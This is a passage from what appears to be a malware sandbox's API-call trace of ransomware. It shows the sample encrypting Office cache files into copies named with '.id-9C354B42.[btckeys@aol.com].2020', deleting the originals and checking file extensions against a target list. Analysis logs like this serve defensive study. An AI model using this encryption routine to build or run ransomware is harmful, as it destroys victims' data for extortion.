Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0064.461] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=9503) returned 1 [0064.461] CloseHandle (hObject=0x170) returned 1 [0064.461] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020 [0064.461] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0064.461] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0064.462] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0064.462] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0064.462] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0064.464] GetLastError () returned 0x0 [0064.464] ReadFile (in: hFile=0x170, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x251f, lpOverlapped=0x0) returned 1 [0064.467] WriteFile (in: hFile=0x1b4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x2520, lpOverlapped=0x0) returned 1 [0064.468] ReadFile (in: hFile=0x170, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0064.468] WriteFile (in: hFile=0x1b4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xec, lpOverlapped=0x0) returned 1 [0064.468] SetEndOfFile (hFile=0x1b4) returned 1 [0064.468] CloseHandle (hObject=0x1b4) returned 1 [0064.801] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0064.801] SetEndOfFile (hFile=0x170) returned 1 [0064.954] CloseHandle (hObject=0x170) returned 1 [0064.955] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0064.955] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 1 [0064.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0064.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0064.955] lstrlenW (lpString=".doc") returned 4 [0064.956] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.956] lstrlenW (lpString=".docx") returned 5 [0064.956] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0064.956] lstrlenW (lpString=".pdf") returned 4 [0064.956] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.956] lstrlenW (lpString=".xls") returned 4 [0064.956] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.956] lstrlenW (lpString=".xlsx") returned 5 [0064.956] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0064.956] lstrlenW (lpString=".ppt") returned 4 [0064.956] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0064.956] lstrlenW (lpString=".zip") returned 4 [0064.956] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.956] lstrlenW (lpString=".rar") returned 4 [0064.956] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.956] lstrlenW (lpString=".bz2") returned 4 [0064.956] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.956] lstrlenW (lpString=".7z") returned 3 [0064.956] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0064.956] lstrlenW (lpString=".dbf") returned 4 [0064.956] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0064.956] lstrlenW (lpString=".1cd") returned 4 [0064.956] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0064.956] lstrlenW (lpString=".jpg") returned 4 [0064.957] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0064.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0064.957] lstrlenW (lpString=".doc") returned 4 [0064.957] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.957] lstrlenW (lpString=".docx") returned 5 [0064.957] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0064.957] lstrlenW (lpString=".pdf") returned 4 [0064.957] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.957] lstrlenW (lpString=".xls") returned 4 [0064.957] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.957] lstrlenW (lpString=".xlsx") returned 5 [0064.957] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0064.957] lstrlenW (lpString=".ppt") returned 4 [0064.957] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0064.957] lstrlenW (lpString=".zip") returned 4 [0064.957] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.957] lstrlenW (lpString=".rar") returned 4 [0064.957] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.957] lstrlenW (lpString=".bz2") returned 4 [0064.957] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.957] lstrlenW (lpString=".7z") returned 3 [0064.957] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0064.957] lstrlenW (lpString=".dbf") returned 4 [0064.958] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0064.958] lstrlenW (lpString=".1cd") returned 4 [0064.958] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0064.958] lstrlenW (lpString=".jpg") returned 4 [0064.958] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.958] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0064.958] lstrlenW (lpString="branding.xml") returned 12 [0064.958] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0065.000] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=596341) returned 1 [0065.001] CloseHandle (hObject=0x188) returned 1 [0065.001] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020 [0065.001] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0065.001] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0065.001] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0065.001] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0065.001] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0065.002] GetLastError () returned 0x0 [0065.002] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x91975, lpOverlapped=0x0) returned 1 [0065.452] WriteFile (in: hFile=0x1a8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x91980, lpOverlapped=0x0) returned 1 [0065.814] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0065.814] WriteFile (in: hFile=0x1a8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xec, lpOverlapped=0x0) returned 1 [0065.815] SetEndOfFile (hFile=0x1a8) returned 1 [0065.815] CloseHandle (hObject=0x1a8) returned 1 [0065.827] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0065.827] SetEndOfFile (hFile=0x188) returned 1 [0065.834] CloseHandle (hObject=0x188) returned 1 [0065.834] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0065.835] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 1 [0065.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0065.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0065.835] lstrlenW (lpString=".doc") returned 4 [0065.835] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.835] lstrlenW (lpString=".docx") returned 5 [0065.835] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0065.835] lstrlenW (lpString=".pdf") returned 4 [0065.835] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.835] lstrlenW (lpString=".xls") returned 4 [0065.835] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.835] lstrlenW (lpString=".xlsx") returned 5 [0065.835] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0065.835] lstrlenW (lpString=".ppt") returned 4 [0065.836] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0065.836] lstrlenW (lpString=".zip") returned 4 [0065.836] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.836] lstrlenW (lpString=".rar") returned 4 [0065.836] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.836] lstrlenW (lpString=".bz2") returned 4 [0065.836] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.836] lstrlenW (lpString=".7z") returned 3 [0065.836] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0065.836] lstrlenW (lpString=".dbf") returned 4 [0065.836] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0065.836] lstrlenW (lpString=".1cd") returned 4 [0065.836] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0065.836] lstrlenW (lpString=".jpg") returned 4 [0065.836] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0065.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0065.836] lstrlenW (lpString=".doc") returned 4 [0065.836] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.836] lstrlenW (lpString=".docx") returned 5 [0065.836] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0065.837] lstrlenW (lpString=".pdf") returned 4 [0065.837] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.837] lstrlenW (lpString=".xls") returned 4 [0065.837] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.837] lstrlenW (lpString=".xlsx") returned 5 [0065.837] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0065.837] lstrlenW (lpString=".ppt") returned 4 [0065.837] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0065.837] lstrlenW (lpString=".zip") returned 4 [0065.837] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.837] lstrlenW (lpString=".rar") returned 4 [0065.837] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.837] lstrlenW (lpString=".bz2") returned 4 [0065.837] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.837] lstrlenW (lpString=".7z") returned 3 [0065.837] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0065.837] lstrlenW (lpString=".dbf") returned 4 [0065.837] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0065.837] lstrlenW (lpString=".1cd") returned 4 [0065.837] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0065.837] lstrlenW (lpString=".jpg") returned 4 [0065.837] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.838] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0065.838] lstrlenW (lpString="Setup.xml") returned 9 [0065.838] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0066.766] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=31094) returned 1 [0066.766] CloseHandle (hObject=0x1bc) returned 1 [0066.766] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0066.767] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0066.767] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0066.767] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0066.767] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0066.767] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0066.767] GetLastError () returned 0x0 [0066.767] ReadFile (in: hFile=0x1bc, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x7976, lpOverlapped=0x0) returned 1 [0066.783] WriteFile (in: hFile=0x1b8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x7980, lpOverlapped=0x0) returned 1 [0066.784] ReadFile (in: hFile=0x1bc, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0066.784] WriteFile (in: hFile=0x1b8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xe6, lpOverlapped=0x0) returned 1 [0066.784] SetEndOfFile (hFile=0x1b8) returned 1 [0066.784] CloseHandle (hObject=0x1b8) returned 1 [0066.790] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0066.790] SetEndOfFile (hFile=0x1bc) returned 1 [0066.791] CloseHandle (hObject=0x1bc) returned 1 [0066.792] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0066.792] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0066.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.792] lstrlenW (lpString=".doc") returned 4 [0066.792] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.792] lstrlenW (lpString=".docx") returned 5 [0066.792] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0066.792] lstrlenW (lpString=".pdf") returned 4 [0066.792] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.792] lstrlenW (lpString=".xls") returned 4 [0066.792] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.792] lstrlenW (lpString=".xlsx") returned 5 [0066.792] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0066.793] lstrlenW (lpString=".ppt") returned 4 [0066.793] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.793] lstrlenW (lpString=".zip") returned 4 [0066.793] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.793] lstrlenW (lpString=".rar") returned 4 [0066.793] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.793] lstrlenW (lpString=".bz2") returned 4 [0066.793] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.793] lstrlenW (lpString=".7z") returned 3 [0066.793] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.793] lstrlenW (lpString=".dbf") returned 4 [0066.793] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.793] lstrlenW (lpString=".1cd") returned 4 [0066.793] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.793] lstrlenW (lpString=".jpg") returned 4 [0066.793] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.793] lstrlenW (lpString=".doc") returned 4 [0066.793] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.793] lstrlenW (lpString=".docx") returned 5 [0066.793] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0066.793] lstrlenW (lpString=".pdf") returned 4 [0066.793] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.793] lstrlenW (lpString=".xls") returned 4 [0066.793] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.794] lstrlenW (lpString=".xlsx") returned 5 [0066.794] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0066.794] lstrlenW (lpString=".ppt") returned 4 [0066.794] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.794] lstrlenW (lpString=".zip") returned 4 [0066.794] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.794] lstrlenW (lpString=".rar") returned 4 [0066.794] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.794] lstrlenW (lpString=".bz2") returned 4 [0066.794] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.794] lstrlenW (lpString=".7z") returned 3 [0066.794] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.794] lstrlenW (lpString=".dbf") returned 4 [0066.794] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.794] lstrlenW (lpString=".1cd") returned 4 [0066.794] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.794] lstrlenW (lpString=".jpg") returned 4 [0066.794] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.794] lstrcmpiW (lpString1=".EPS", lpString2=".2020") returned 1 [0066.794] lstrlenW (lpString="MS.EPS") returned 6 [0066.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: 